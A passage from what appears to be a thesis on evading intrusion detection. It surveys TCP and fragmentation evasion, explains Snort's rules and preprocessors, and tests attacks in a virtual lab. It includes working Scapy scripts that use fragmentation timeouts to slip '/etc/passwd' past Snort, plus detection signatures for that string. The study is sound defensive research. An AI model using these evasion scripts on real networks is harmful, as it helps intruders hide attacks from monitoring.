– Timeout The fragmented packet is reassembled only if all fragments
are received within the fragmentation timeout. Different timeouts’
lengths on the target host and on the IDS allow the attacker to per-
form an evasion attack [Sid05].
– TCP header division Intrusion detection systems which monitor TCP
sessions and do not perform the IP fragment reassembly can be cir-
cumvented when the attacker creates fragments so small that the TCP
header is divided into two or more parts. Each separate fragment than
does not match the signature.

17
3. ATTACKS ON IDS

3.3 Transport layer evasion


• TCP header errors Some combinations of TCP header fields’ values are
invalid (e.g. RST and SYN flags used in the same segment). However im-
plementation differences may allow some of them be accepted and some
of them not. Attacker exploit this ambiguity for the insertion attack or the
evasion attack.

• TCP options Optional header fields are specified in TCP options section
of the header.

– PAWS This mechanism adds timestamps to TCP segments. Packets


containing segments with timestamps already obsolete should be dis-
carded. Hosts or IDS which does not follow this policy may become
out of sync.
– Maximum Segment Size MSS is the largest amount of data in bytes
which a computer can process in a single piece. Sending data over the
MSS limit or changing the MSS limit during established connection
(originally MSS should be set only on SYN segments) can be used for
the IDS evasion attack.

• TCP segment overlaps Segments with partial sequence numbers overlaps


are processed differently on various operating systems. Some prefer the
first received segment, other the last. Attacker can use segment overlaps
to launch insertion or evasion attacks.

– TCP session teardown An IDS must be able to detect the termina-


tion of the session between two hosts. Otherwise an attacker who can
convince the IDS that the session was closed can send further packets
unmonitored.
– FIN detection Session is closed when both sides send the FIN seg-
ment and receive the corresponding ACK segment. An attacker ca-
pable of hiding FIN/ACK segments from the IDS can make it out-of-
sync and therefore perform an evasion attack.
– RST detection RST segments terminate the session immediately for
both sides and do not have to be acknowledged. An attacker who can
hide a RST segment from the IDS can launch the evasion attack.
– Timeouts An IDS has to consider the session closed if it does not de-
tect any data exchanged for a certain time. If the IDS timeout is shorter
than the session timeout on the target host, the attacker can wait until
the record about the session is deleted from the IDS’s memory and
then send her packets unmonitored.

• TCP sequence number checks Attacker sends a valid RST segment with a
sequence number out of order. Intrusion detection system which does not

18
3. ATTACKS ON IDS

perform sequence number verification is prone to an insertion attack as it


may delete the record about the session from its memory.

• TCP checksum verification Intrusion detection system which does not


verify the TCP checksum (often for performance reasons) is susceptible
to the insertion attack, because it may process a segment which would be
discarded at the target host.

• TCP session discovery Intrusion detection systems can monitor only TCP
sessions about which they have a record. A system which was unable to
detect the creation of TCP session might not able to track the session in
the future (or it might consider the traffic being bogus and ignore it). The
record is created under one of these conditions:

– Full 3-way handshake (3WH) The session is considered established


only if IDS receives the initial SYN segment and its SYN-ACK re-
sponse (possibly followed by an ACK from the client).
– ACK discovery The session is considered established if an PUSH+ACK
segment is received. This allows an IDS to monitor sessions whose
3WH was not observed (e.g. the IDS was offline at the time or an
attacker used evasion techniques to hide it). This method is computa-
tionally demanding, it is necessary to keep track of sequence numbers
and sessions cannot be distinguished from bogus traffic. This makes
easier for an attacker to launch a DoS attack against the IDS.
– SYN-ACK discovery The session is considered established if the IDS
receives a SYN+ACK segment.

• TCP Time wait This is the timeout the computer should wait after closing
a session before a new session with the same source address, destination
address, source port and destination port can be opened. Different time-
outs may lead to IDS evasion, because the attacker may be able to add
packets to already closed connection which is no longer monitored by the
IDS.

• Urgent pointer flag IDS which ignores the urgent pointer is susceptible to
the evasion attack. Attacker may send a segment with urgent flag set. Such
segment should be processed in preference not in the usual order. Different
order of processing may lead to inconsistencies (e.g. in connection with
overlapping segments) [iIT06].

• Session splicing The data at higher levels are distributed among several
segments in such a way that no segment by itself matches the signature
(e.g. if IDS looks for packets which contain string “root” than one segment
might end with “ro” and the other begins with “ot”). IDS must perform
tge stream reassembly to be able to detect such attacks. Stream reassembly
is a resource-demanding operation.

19
3. ATTACKS ON IDS

3.4 Code morphing


During the code morphing attack the payload of the packet is modified in such a
way so as it is not understandable to the IDS. Code morphing IDS evasion tech-
niques are similar to anti-virus evasion techniques utilized by worms [SMCA09].

• Encoding Attacker can use other than the most common ASCII encoding
for the payload of the packet (e.g Unicode [Hac]). Intrusion detection sys-
tems which do not perform the packet payload normalization are unable to
correctly interpret data and perform payload signature matching [Roea].

• Encryption Pattern matching intrusion detection systems are unable to


find signs of intrusions in the encrypted payload. Detection capabilities
are restricted to the plaintext part of the packet.

• Polymorphic code Polymorphic code is a code which constantly mutates


but still maintains the same function and output. Making and deploying
signatures is extremely difficult when the attack is performed automati-
cally and uses the polymorphic code. Decoder can be either present di-
rectly in the packet or somewhere else in the packet stream.

• Compression When the compressed data is transmitted over the network


the IDS has difficulties applying the signature matching. If the compres-
sion algorithm is unknown then the IDS might sustain false negative. If
the IDS is configured to decompress data prior to the signature match-
ing it might be a very resource-demanding operation both in terms of the
memory and the computational power.

• Path obfuscation Often signatures aim at discovering whether a particular


program or file is accessed. Usually IDS searches for the program path in
the packet’s payload. The path is presented as a simple string with no con-
text. Particular path can be obfuscated by a combination of absolute paths,
relative paths and symbolic links (e.g. “/usr/../etc/network/.././passwd”
has the same meaning as “/etc/passwd”).

3.5 Port scan detection evasion


Port scans are specific attacks used in the reconaissance part of the intrusion.
Each port scan consists of many legitimate data flows. They pose an attack only
in conjunction.

• Timing attacks

– Duration Port scan is spread across such period of time that the IDS
cannot hold the information about all parts of port scan. It misses
important data and is unable to detect port scans [aut].

20
3. ATTACKS ON IDS

– Jitter Pauses between consecutive packets have random durations in


case the detection was based on the time pattern.

• Traffic characteristics modification Packet themselves are ordinary but


are sent in such a way that in conjunction they don not resemble a port
scan. Examples of modifications are destination port order randomization,
source port fixation and multiple sources emulation.

• Distributed port scans Targets are scanned from multiple source hosts si-
multaneously.

• Packet/segment level evasion Packet is modified so as the IDS does not


interpret it as a part of a port scan (e.g. IP fragmentation issues, TCP seg-
ment reassembly issues).

3.6 Denial of service attacks


DoS attacks are most brutal and primitive. Their purpose is to crash the target
device, usually by sending huge amounts of data which it cannot process. In case
of the IDS evasion the attacker has a variety of targets she can choose from.

• System administrators

– Overwhelm Attacker sends special crafted packets which generate


multiple alarms. This traffic serves as a decoy for the real attack which
is indeed detected however its alert is hidden among multiple others.
System administrators are overwhelmed with alarms and are unable
to distinguish between decoys and the real attack and cannot react.
System administrators overwhelm attack is efficient against intrusion
detection systems which generate all alarms associated with every
packet [PYD].
– Underestimate An attacker who has some knowledge about what
rules are being used on the IDS can launch an attack which is indeed
detected however which is given only low priority and thus is pos-
sibly ignored by system administrators. This type of attack is only
applicable on IDS which looks for only first few signature matches
(when first x signature matches are found, remaining rules are no
longer checked; usually this is done for performance reasons).
– Learning Behavioral IDS can be taught that the malicious traffic is le-
gitimate. Attacker slowly increases the amount of data she is pouring
into the network making sure that no change is significant enough
to be detected. The behavioral IDS incorporates changes into their
model of network and do not generates alerts.

21
3. ATTACKS ON IDS

• IDS flood

– Established connections flood Attacker establishes many sessions


with different hosts in target network without sending any further
data. His goal is to exhaust the established connections buffer of the
IDS. Once the buffer is full the IDS has to start deleting oldest records
to be able to keep track with the newest. Attacker can use these for-
gotten connections to launch an attack. This type of DoS is possible
only if the IDS does not create TCP session records from picked up
traffic but only from detected 3WH.
– Connections per second Attacker begins many 3-way handshakes
with different hosts. An IDS has to allocate resources for them. The
load may be too heavy for the IDS. It results in packets dropping.
Connections whose 3WH packets have been dropped cannot be mon-
itored. This type of DoS is effective against the IDS which must ob-
serve the 3WH to make a record about the connection. IDSs which
create TCP session records from the picked up traffic are less vulner-
able.
– Fragmentation buffer overload Attacker sends many packet frag-
ments which are never completed. These fragments are saved in the
IDS buffer and wait for other parts. Once the buffer is full the oldest
fragment is deleted. If the attacker managed to fill the buffer before
host’s fragmentation timeout ran out he can send fragments finishing
the packet. The target host will reassemble the packet but the IDS will
not.
– Stream reassembly buffer overload This DoS attack is equivalent to
the previous one except the IDS keeps track of TCP segments not IP
fragments.
– Computational power exhaustion Attacker sends huge amount of
packets into the target network without any further purpose. These
packets are created so that they require the above average computa-
tional power to process. An IDS which is not fast enough to process
them may either skip some resource demanding operations or drop
packets altogether. An example is the backtracking attack [SEJ].

• Client flood An attacker sends huge amount of data to a single host which
is not able to process them all and has to discard some packets (because of
the network card saturation or the CPU exhaustion). On the other hand the
IDS is built for high performance and can process everything. This can lead
to inconsistencies. However it is difficult for the attacker to guess which
packets will be discarded. This attack is most efficient when used with
stateless protocols like UDP, otherwise the IDS can learn about discarded
packets from host’s replies.

22
3. ATTACKS ON IDS

• Crafted payload attacks An IDS is an application as any other. It may have


implementation errors and also may be affected by errors which can be
found in the operating system it is running on.

– Teardrop attacks Badly implemented IP fragment reassembly can re-


sult in the denial of service attack on the IDS.
– Ping of death Receiving echo packet bigger than 65535 B can cause
the host to crash [Pin].

23
4 Snort IDS
Snort is an open-source network intrusion detection/prevention system. It com-
bines the signature detection, the anomaly detection and the stateful protocol in-
spection in a single tool [BBE07]. It performs a packet-level analysis of the traffic.
The biggest advantage is a powerful packet matching ability supplied with a vast
amount of attack signatures/rules. Snort has a broad community which offers
new rules and suggests improvements every day. Three processing modes are
available:

• IDS Being typical usage, when running in this mode Snort monitors the
incoming network traffic and searches for possible intrusions.

• Inline Snort is placed on an intermediate network device with iptables


firewall installed. Depending up on results of the attacks detection it either
forwards the packet or it drops it.

• Logging Snort acts as a packet sniffer. Any received packets are written to
the standard output. Attack detection capabilities are disabled.

4.1 Inner workings


1. Initialization Initialization phase begins when Snort is launched and ends
when Snort starts detecting attacks.

(a) Parsing command line parameters Crucial is -c configfile which


specifies the path to the Snort’s configuration file. Other command
line arguments provide options which are to be changed frequently
without having to edit the configuration file. Settings set various pro-
gram variables and flags.
(b) Processing configuration file This file contains Snort settings, prepro-
cessor settings, flags, configuration values, paths to files with detec-
tion rules and other. It is processed sequentially.
(c) Parsing rules Rules are saved as text strings in files in /etc/snort/rules
directory. During the initialization phase these files are parsed and
rules are loaded into the memory. Rules are incorporated into the tree-
like data structure. Rule headers are used to create rule tree nodes and
rule options data are used to create option tree nodes. Rule tree nodes
are linked sequentially. All option tree nodes are grouped under the
rule tree node which matches their header.

2. Packet processing The packet is obtained, decoded and checked for any
sign intrusion in the packet processing phase . Only one packet is pro-
cessed at the time.

24
4. S NORT IDS

(a) Packet acquisition Snort uses the libpcap library [lib] for packet ac-
quisition. The packet is decoded, statistical data about it is collected
and is forwarded to preprocessors.
(b) Packet decoding Different layers of the packet are identified. For each
layer a decoder is called. Data fields are separated and pointers are
created to each of them. Pointers are used for performance reasons.
As Snort is progressing up through layers it verifies validity of values
and stores all anomalies (anomalies in the meaning of protocol val-
idations not signs of attack). The output of the packet decoding is a
data structure which is passed to every available preprocessor.
(c) Preprocessing Data structure is passed to preprocessors. First it is
processed by frag3, which performs IP defragmentation, then it is
passed to Stream5 which handles transport layer stream reassembly
and finally it is passed to the appropriate application layer preproces-
sor.
(d) Detection engine Detection engine is a key part of Snort. It compares
the data structure values with all available rules. First, header part
of the packet data structure is compared with rule tree nodes. When
the match is found the data structure is compared with all option tree
nodes under the matching rule tree node. If the match is found also
among option tree nodes, the alert is generated and an information
about packet and the rule which triggered the alert is post to the log-
ging daemon.
3. Logging and alerting Logging modules are called when the attack is de-
tected and it needs to be reported.
(a) Thresholds Every time an alert is generated it is compared to thresh-
old limits. Thresholds allow limiting the number of events which are
triggered by a packet. They can be used to prevent denial-of-service
attacks on system administrators. There are two types of limits which
can be also combined. First, indicated by limit keyword, specifies
the timeout which has to pass before the same alert can be generated
again. Adding following line to the rule definition causes the alert
to be generated at most once in 60 seconds for every unique source
address:
threshold: type limit, track by_src, count 1,
seconds 60;
Second, indicated by threshold keyword, specifies the number of
alerts which must be generated by a single rule before they are passed
to the logging engine. Adding following line to the rule definition
causes the alert to be generated if the match was found at least 5 times
in the last 60 seconds for the same destination address:
threshold: type threshold, track by_dst, count 5,
seconds 60;

25
4. S NORT IDS

(b) Event queue Each alert is added to the event queue. Detection phase
stops when the queue is full or all rules have been checked. Then the
queue is examined and is decided which alerts should be logged. By
default up to three events from the queue are chosen to be logged.
Events are chosen by the longest content match. These parameters
can be changed in event_queue section of snort.conf file.

4.2 Rules

Snort uses lightweight rules language which is easy to understand. Rules de-
scribe conditions or state and any action to be taken when that conditions or state
are seen. They have two distinct sections, the rule header and the rule options.
Header part has strictly defined structure whether options part is much more
variable. Options part is closed in parentheses. Rule matches the packet if all con-
ditions described both in the header and in the options are satisfied [Sou10]. In
general the rule has the following syntax:
action protocol src_ip src_port -> dst_ip dst_port \
(rule_options)
Action describes Snort’s reaction when match for the rule is found in processed
packets. In the IDS mode there are five possible actions: alert (an alert is gener-
ated and packet is logged), pass (packet is ignored), log (packet is logged), ac-
tivate (generate alert and pass to the dynamic rule) and dynamic (remain idle
until activated by an activate rule, then act as a log rule). When running Snort in
inline mode another three actions are available: drop (packet is logged and then
dropped by iptables), reject (packet is logged, dropped and the sender is notified)
and sdrop (packet is dropped without being logged).
Currently TCP, UDP, ICMP and IP protocols are supported. Support for higher
level protocols is added by preprocessors.
Variables src_ip and dst_ip represent the source and the destination of the
packet. Values can be either single IP addresses or address ranges in CIDR no-
tation; no support for DNS is included. Any combination of the packet’s source
IP address belonging to src_ip range and of the packet’s destination IP address
belonging to dst_ip satisfies the condition. The negation operator can tell Snort
to match any IP address except those indicated. Keyword “any” can be used to
represent any IP address.
Port numbers can be expressed using ranges, “any” keyword, negation oper-
ator or static port definitions (e.g. telnet for port 22). Ranges are indicated with
“:” operator.
alert ip ![192.168.0.1/24,192.168.0.2/24] \
any -> any 1:30 ()
The options part of the rule can contain dozens of different conditions and prop-
erties. I shall mention only some of the most important.

26
4. S NORT IDS

SID is an unique numeral rule identifier. Every rule must have one. Numbers 0
to 100 are reserved for future purposes. Numbers from 100 to 1,000,000 are given
to the common Snort rule set. Greater numbers are intended for custom rules
which are unique in the given environment.
The priority tag assigns the security level to the rule. When processing packets
the IDS can be set to generate only alerts with a certain security level.
Probably the most important rule definition keyword is content. It allows the
administrator to set rules that search for a specific string in the packet payload.
The packet payload is parsed by the Boyer-Moore pattern matching algorithm. If
the searched string is found in the packet than the content condition is consid-
ered satisfied. Search is case sensitive. String can be specified as a sequence of
ASCII characters, as a binary data or a combination of both. Binary representa-
tion is enclosed within pipe characters. Negation operator can be used to report
packets which do not contain the string. Content keyword can be followed with
several modifiers which specify where to look for the string in the packet (off-
set, depth, rawbytes, distance, within). Also there are modifiers designed specif-
ically for searching in HTTP traffic (http_client_body, http_cookie, http_header,
http_method, http_uri).

alert tcp $EXTERNAL_NET any -> $HOME_NET 21


(msg:"POLICY FTP anonymous login attempt";
flow:to_server,established; content:"USER";
nocase; pcre:"/^USER\s+(anonymous|ftp)[^\w]*[\r\n]/smi";
classtype:misc-activity; sid:553; rev:9;)

The example presents the rule which detects any packet coming into the internal
network on port 21. This packet must belong to an already established connection
(whether the connection is established or not is decided by Stream5 preprocessor
which is described later in the chapter) and must be going from the client (the
computer which has initiated the session) to the server. In the payload the detec-
tion engine looks for pattern described by regular expression
/^USER\s+(anonymous|ftp)[^\w]*[\r\n]/s
Search is case insensitive. The rule is also assigned to the rule class “misc-activity”,
so it inherits its priority. Finally the rule is given SID 553 and is indicated that it
has been updated 9 times.

4.3 Preprocessors
A preprocessor is code that is compiled into the Snort engine upon build in or-
der to normalize traffic and/or examine the traffic for attacks in a fashion beyond
what can be done in normal rules. Snort utilizes frag3 preprocessor for the IP
defragmentation, Stream5 preprocessor for the stream reassembly and the state-
ful inspection and a collection of application layer preprocessors for the higher
protocols normalization. Preprocessors are not rule-based, but they may still gen-
erate their own alerts.

27
4. S NORT IDS

4.3.1 frag3
Frag3 enables the target-based IP defragmentation of traffic. Different IP stack
implementations perform the IP reassembly differently. The goal of frag3 is to
reassembly IP fragments in the similar way as target hosts. Also it is capable of
detecting fragment anomalies and IP packets with the low TTL value.
Frag3 is based on the concept of target-host policies. Ptacek and Newsham
identified differences between common IP stack implementations in their paper
[PN98]. These policies can be bind to particular hosts on the network thus en-
suring the fragments are processed similarly on the IDS and on the target host.
Fragmentation-based insertion and evasion attacks should be therefore made im-
possible.
Currently frag3 can follow 7 policies of IP defragmentation:

• BSD favors the original fragment with an offset that is less than or equal
to the subsequent fragment.

• BSD-right favors the subsequent fragment when the original fragment has
an offset that is less than or equal to the subsequent one.

• Linux favors the original fragment with an offset that is less than the sub-
sequent fragment.

• First favors the original fragment with a given offset.

• Last favors the subsequent fragment with a given offset.

• Windows favors the fragment that arrived last if it begins at an offset


smaller than the original fragment and ends at an offset greater than the
original fragment’s offset. Otherwise, the Windows policy favors the frag-
ment that arrived first.

• Solaris favors an offset smaller than the original fragment and ends at an
offset equal to or greater than the original fragment’s offset. Otherwise, the
Solaris policy favors the fragment that arrived first.

Frag3 is capable to detect and report those IP fragmentation anomalies [Roeb]:

1. IP Options on fragmented packet

2. Teardrop attack

3. Short fragment, possible DoS attempt

4. Fragment packet ends after defragmented packet

5. Zero-byte fragment

6. Bad fragment size, packet size is negative

28
4. S NORT IDS

7. Bad fragment size, packet size is greater than 65536

8. Fragmentation overlap

9. IPv6 BSD mbufs remote kernel buffer overflow

10. Bogus fragmentation packet. Possible BSD attack

11. TTL value less than configured minimum, not using for reassembly

12. Number of overlapping fragments exceed configured limit

13. Fragments smaller than configured min_fragment_length


Sample frag3 configuration:
preprocessor frag3_engine: policy linux, \
bind_to 192.168.1.0/24, min_ttl 3, \
timeout 60, detect_anomalies
Fragments destined for the 192.168.1.0/24 subnet are reassembled as prescribed
by the linux policy but only if their time to live value is greater than or equal to 3.
Fragments will remain in the memory for 60 seconds. Any fragmentation-related
anomaly will be alerted.

4.3.2 Stream5
Stream5 enables the target-based TCP stream reassembly. Without the stream re-
assembly attacks which are divided among multiple packets cannot be detected.
Stream5 extracts the payload of each packet and reconstructs the data flow.
As in case of the IP defragmentation, stream reassembly is not strictly defined.
Ambiguities exist between common implementations. Particularly handling of
overlapping segments is questionable. Stream5 can be directed to use specific
reassembly policies for each observed IP address. Judy Novak and Steve Sturges
present all possibilities of the TCP stream reassembly in their paper “Target-Based
TCP Stream Reassembly” [NS07]. They identified 6 different approaches which
are used in current operating systems:

• Windows and BSD favor the original segment, except when the subse-
quent segment begins before the original segment.

• First and Vista favor the original segment.

• Linux favors the original segment, except when the subsequent segment
begins before the original segment, or the subsequent segment begins the
same and ends after the original segment.

• Solaris favors the subsequent segment, except when the original segment
ends after the subsequent segment, or begins before the original segment
and ends the same or after the original segment.

29
4. S NORT IDS

• Linux-old favors the subsequent segment, except when the original seg-
ment begins before, or the original segment begins the same and ends after
the subsequent segment.

• Last favors the subsequent segment.

Stream5 currently supports 13 policies which were derived from observations


made in [NS07]: bsd (FreeBSD, NetBSD, OpenBDS, AIX), linux (Linux 2.4 and
Linux 2.6), old-linux (Linux 2.2 and earlier), windows (Windows 98, NT, 2000, XP
and other), win2003 (Windows Server 2003), vista (Windows Vista), solaris (So-
laris 9 and newer), hpux10 (HPUX 10), hpux (HPUX 11 and newer), irix (IRIX
6 and newer), macos (MacOS 10.3 and newer), first (favors first overlapped seg-
ment) and last (favor last overlapped segment).
Stream5 is capable to detect TCP reassembly related anomalies and inform
about them. Warnings are mostly for debugging purposes because they may be
quite common in real environments [Stu]:

1. SYN on established session

2. Data on SYN packet

3. Data sent on stream not accepting data

4. TCP Timestamp is outside of PAWS window

5. Bad segment, overlap adjusted size less than/equal 0

6. Window size (after scaling) larger than policy allows

7. Limit on number of overlapping TCP packets reached

8. Data after Reset packet

9. Possible Hijacked Client

10. Possible Hijacked Server

11. TCP packet with any control flags set

12. Limit on number of consecutive small segments reached

13. 4-way handshake detected

14. Packet missing timestamp

Sample Stream5 configuration:


preprocessor stream5_global: track_tcp yes
preprocessor stream5_tcp: bind_to 192.168.1.0/24, \
policy windows, ports 22 23 21 25, \
detect_anomalies, require_3whs, overlap_limit 3

30
4. S NORT IDS

Global settings orders to monitor TCP sessions. For the 192.168.1.0/24 subnet
IDS uses the windows policy and reports any TCP stream reassembly anomalies it
encounters. Furthermore TCP sessions are considered established only if all parts
of the three-way handshake (SYN, ACK+SYN and ACK segments) are received.
Stream reassembly is performed only on ports 21, 22, 23 and 25. Overlapping
TCP packets reached warning is generated if more than 3 segments overlap in
the stream.

4.3.3 sfPortscan
This preprocessor is designed to detect attacks during reconnaissance phase of an
intrusion attempt. It can detect many types of port scans, primarily SYN scans,
FIN scans and ACK scans. SfPortscan alerts are set to be generated only once in a
certain time period to prevent overwhelming [RNH]. Three sensitivity levels are
available:

• Low The alert is generated only if a certain amount of negative responses


from the victim is received within the time window of 60 seconds. This
setting should produce few false positives because negative responses are
quite rare in the normal traffic.

• Medium The number of connection counts of each IP address is moni-


tored within the time window of 90 s. The alert is generated if the number
exceeds fixed threshold.

• High Similar method as at Medium sensitivity level is used with the time
window of 600 seconds.

31
5 Attacks implementation
Following methods of the intrusion detection evasion are limited to the network
layer and to the transport layer of the ISO OSI model. The goal is to describe
general procedures which are not application-specific.
Testing network topology
All attacks were implemented in the virtual environment of VirtualBox 3.1.4 which
was running on a computer with Core2 Duo T9400 2.53GHz processor, 2 GB RAM
and HW virtualization enabled. Separate virtual machines were created for an
attacker’s computer, a router and a target host. Testing network topology is pre-
sented on Figure 5.1. The target host offers services to hosts in the network. That
is simulated by the netcat tool running in listening mode on a certain port:

netcat -l -p port_number

The attacker sends packets which she generated in the Scapy utility to this port.
To prevent TCP sessions being resetted by the attacker’s operating system the
attacker modifies iptables firewall so it drops outgoing RST packets:

iptables -A OUTPUT -p tcp -tcp-flags RST RST -j DROP

Snort is installed on the router. It listens on both interfaces and writes its output
on the console:

snort -i eth0 -i eth1 -c /etc/snort/snort.conf -A console

Stream5, frag3 and sfPortscan preprocessors are active. For monitoring purposes
Wireshark packet sniffer is installed on all involved machines.

Figure 5.1: Testing network topology

32
5. ATTACKS IMPLEMENTATION

5.1 Packet level evasion


Packet level evasion methods alter the traffic in a way that it is interpreted dif-
ferently on the intrusion detection system and on the victim. Snort is signature-
based IDS which takes raw packets as its input. Most of signatures are focused
on the TCP protocol. There are 2 common conditions which must be fulfilled for
such signature to generate an alert:

1. The packet has a certain string in its payload. This is indicated by the pres-
ence of content keyword in the signature definition.

2. The TCP connection is in an established state. This is indicated by the pres-


ence of flow:established string in the signature definition.

Described packet level evasion attacks are designed to circumvent signatures of


this kind.

5.1.1 Methodology
Four new signatures were created as a measurement of success of attacks.

# IP packet payload - A1
alert ip $EXTERNAL_NET any -> $HOME_NET any \
(msg:"A1 - IP, string"; \
content:"/etc/passwd"; sid:1100001;)

# TCP segment payload - A2


alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"A2 - TCP, string"; \
content:"/etc/passwd"; sid:1100002;)

# Established connection - A3
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"A3 - TCP, flow"; flow:established; sid:1100003;)

# Established connection and TCP segment payload - A4 \


alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"A4 - TCP, flow, string"; \
flow:established; content:"/etc/passwd"; sid:1100004;)

Signature A4 is a logical conjunction of signatures A2 and A3 and as such is a


typical representative of the most common class of Snort signatures.

5.1.2 Testing traffic


Attacker’s computer establishes the TCP session with the victim, sends 3 data
packets, confirms that they were received and correctly terminates the connec-

33
5. ATTACKS IMPLEMENTATION

tion. As a result the listening netcat tool shows string “/etc/passwd” and then
closes itself.
Attacker produces seven packets designated A to G:

A. Packet with SYN TCP segment which begins the 3-way handshake.

B. Packet with ACK TCP segment which confirms the creation of the session.
This packet is sent after SYN+ACK segment from the victim is received.

C. Packet with TCP data payload1.

D. Packet with TCP data payload2.

E. Packet with TCP data payload3.

F. Packet with FIN+ACK TCP segment which initiates the termination of the
session.

G. Packet with ACK segment which confirms the termination of the session.
This packet is sent after FIN+ACK segment from the victim is received.

Alerts generated by Snort for each packet:

A. None

B. A3

C. A1, A2, A4

D. A3

E. A3

F. A3

G. None

The goal of the attacker is to deliver the string “/etc/passwd” to the listening ap-
plication on the victim without being detected by the intrusion detection system
which has access to all exchanged packets. Snort and preprocessors use default
configuration if not stated otherwise. Evasion technique was evaluated being suc-
cessful if all these conditions were satisfied at once:

• Victim host writes a string which contains “/etc/passwd” as its netcat out-
put.

• Alert A4 is not generated.

• Alert A2 is not generated or alert A3 is not generated for packets C to E.

34
5. ATTACKS IMPLEMENTATION

• The TCP session between the attacker’s computer and the victim can be
terminated correctly after the attack.

Evasion technique was evaluated as a partial success if the attack was somehow
detected but inconclusively, typically by observing a rare side effect.

35
5. ATTACKS IMPLEMENTATION

Packets A to G are created by a series of commands in Scapy:


1. source_port = 25000 # source port
2. dest_port = 23 # destination port
3. num_seq = 10 # starting sequence number
4. payload1 = "/etc/passwd" # data transmitted in packet C
5. payload2 = " " # data transmitted in packet D
6. payload3 = "\n" # data transmitted in packet E
7. attacker_mod1 = 0 # the shift of 2nd seg to 1st seg
8. attacker_mod2 = 0 # the shift of 3rd seg to 2nd seg

9. ip = IP(src="10.0.1.2",dst="10.0.2.5")

10. SYN = TCP(sport=source_port, dport=dest_port, \


flags="S", seq=num_seq)
11. SYNACK = sr1(ip/SYN)
12. num_ack = SYNACK.seq + 1
13. num_seq = num_seq + 1
14. ACK = TCP(sport=source_port, dport=dest_port, \
flags="A", ack=num_ack, seq=num_seq)
15. send(ip/ACK)

16. PUSH = TCP(sport=source_port ,dport=dest_port, \


flags="PA", ack=num_ack)
17. PUSH.seq = num_seq
18. send(ip/PUSH/payload1)
19. num_seq = num_seq + len(payload1)
20. num_seq = num_seq + attacker_mod1
21. PUSH.seq = num_seq
22. send(ip/PUSH/payload2)
23. num_seq = num_seq + len(payload2)
24. num_seq = num_seq + attacker_mod2
25. PUSH.seq = num_seq
26. send(ip/PUSH/payload3)
27. num_seq = num_seq + len(payload3)

28. FIN = TCP(sport=source_port, dport=dest_port, \


flags="FA", ack=num_ack, seq=num_seq)
29. num_seq = num_seq + 1
30. FINACK = sr1(ip/FIN)
31. num_ack = FINACK.seq + 1
32. ACK = TCP(sport=source_port, dport=dest_port, \
flags="A", ack=num_ack, seq=num_seq)
33. send(ip/ACK)

36
5. ATTACKS IMPLEMENTATION

5.1.3 Simple fragmentation


Packet is divided into several fragments each of which contains a part of string
“/etc/passwd”. Intrusion detection systems which do not perform fragment re-
assembly are unable to detect the transmitted data. Fragments are sent in the
proper order without any delay. Modifications to the common code from 5.1.2,
page 36, are written by this font. These modifications effectively implement
described attack for the common situation. Ordering of the lines shows which
lines need to be replaced. Multiple lines with the similar leading number replace
the line with the same number.

18.1 first = fragment(ip/PUSH/payload1,fragsize=24)


18.2 send(first)

Client OS: Windows XP SP2


Conditions
frag3 policy: Windows
frag3 anomaly detection active inactive
C: A1, A2, A4 C: A1, A2, A4
Generated alerts
B, D, E, F: A3 B, D, E, F: A3
Netcat output /etc/passwd /etc/passwd
Netcat termination Correct Correct
Result Detected Detected

Table 5.1: Simple fragmentation

Fragmentation by itself does not prevent detection. Frag3 preprocessor performs


transparent IP defragmentation and signatures are checked over the reassembled
packet. Frag3 anomaly detection does not generate any warnings.

5.1.4 Fragment reassembly timeout


After the first fragment of a packet is received the host starts the fragment re-
assembly countdown. If all fragments are not received within the timeout than
already received fragments are discarded from the host’s buffer. Attacker exploits
the time difference between how long the IDS and the client wait for remaining
fragments. This leads to the evasion or the insertion attack.
A. IDS timeout > victim timeout
Client waits for incoming fragments for a shorter time then the IDS. Attacker
sends a single fragment as a decoy. Then she waits to the moment when the decoy
fragment is dropped from the victim’s buffer but is still present in the IDS’s buffer.
Then she sends the rest of fragments. IDS receives all fragments and reassembles
the packet whereas the victim misses one fragment. Attacker sends an arbitrary
fragment to reassemble the packet in the victim’s buffer. This fragment is also
received by the IDS but is never reassembled into a full packet.

37
5. ATTACKS IMPLEMENTATION

18.1 timeout = 150 # 64s (WinXP) < 150s < 180s (frag3)
18.2 first = fragment(ip/PUSH/“/xxx/passwd“,fragsize=24)
18.3 second = fragment(ip/PUSH/“/etc/passwd“,fragsize=24)
18.4 send(first[0],inter=timeout) # send after timeout
18.5 send(first[1])
18.6 send(second[0])
IDS receives /xxx, after 150 seconds it receives /passwd and completes the
packet. Victim receives /xxx, drops it and then receives /etc and /passwd
which it completes into the full /etc/passwd payload. Fragment /etc remains
in the IDS’s buffer.

B. IDS timeout < victim timeout


Client waits for incoming fragments for a longer time than the IDS. Attacker
sends a single fragment. Then she waits until the fragment is dropped from the
IDS’s buffer. Then she sends remaining fragments. IDS is unable to reassemble
the packet because it misses the dropped fragment. Victim reassembles the packet
without any problems.
18.1 timeout = 62 # 60s (frag3) < 62s < 64s (WinXP)
18.2 first = fragment(ip/PUSH/“/etc/passwd“,fragsize=24)
18.3 send(first[0],inter=timeout) # send after timeout
18.4 send(first[1])
IDS and victim receive /etc fragment. After 62 seconds the IDS no longer has it.
IDS and victim receive the /passwd fragment. Victim reassembles packet whereas
the IDS keeps the /passwd fragment in the buffer.
C. IDS timeout = victim timeout
Fragments are dropped after the same time. However to achieve this behavior is
quite difficult due to the host latency and the network latency between the victim
and the IDS. If both the victim and the IDS are accessible from the external net-
work the attacker may compute latency of the intermediate network and involve
it in the attack.
18.1 timeout = 64
18.2 first = fragment(ip/PUSH/“/etc/passwd“,fragsize=24)
18.3 send(first[0],inter=timeout)
18.4 send(first[1])
I was unsuccessful in simulating this situation. Expected but unverified outcome
is given in the table.
Attacks using fragmentation timeouts are easy to implement and yet very effec-
tive. Current operating systems use different timeouts which forbid a general re-
assembly policy. Target-based setting of fragment reassembly timeouts is theoret-
ically possible in the frag3 configuration file but its practical use is made difficult

38
5. ATTACKS IMPLEMENTATION

Client OS: Windows XP SP2 (timeout 64 s)


Conditions
frag3 anomaly detection active
Case A B C
C: A1, A2, A4
Generated alerts B,F: A3 B, E, F: A3 B, D, E, F: A3
(Suspected)
Netcat output /etc/passwd /etc/passwd /etc/passwd
Netcat termination Correct Correct Correct
Result Success Success Detected

Table 5.2: Fragment reassembly timeout

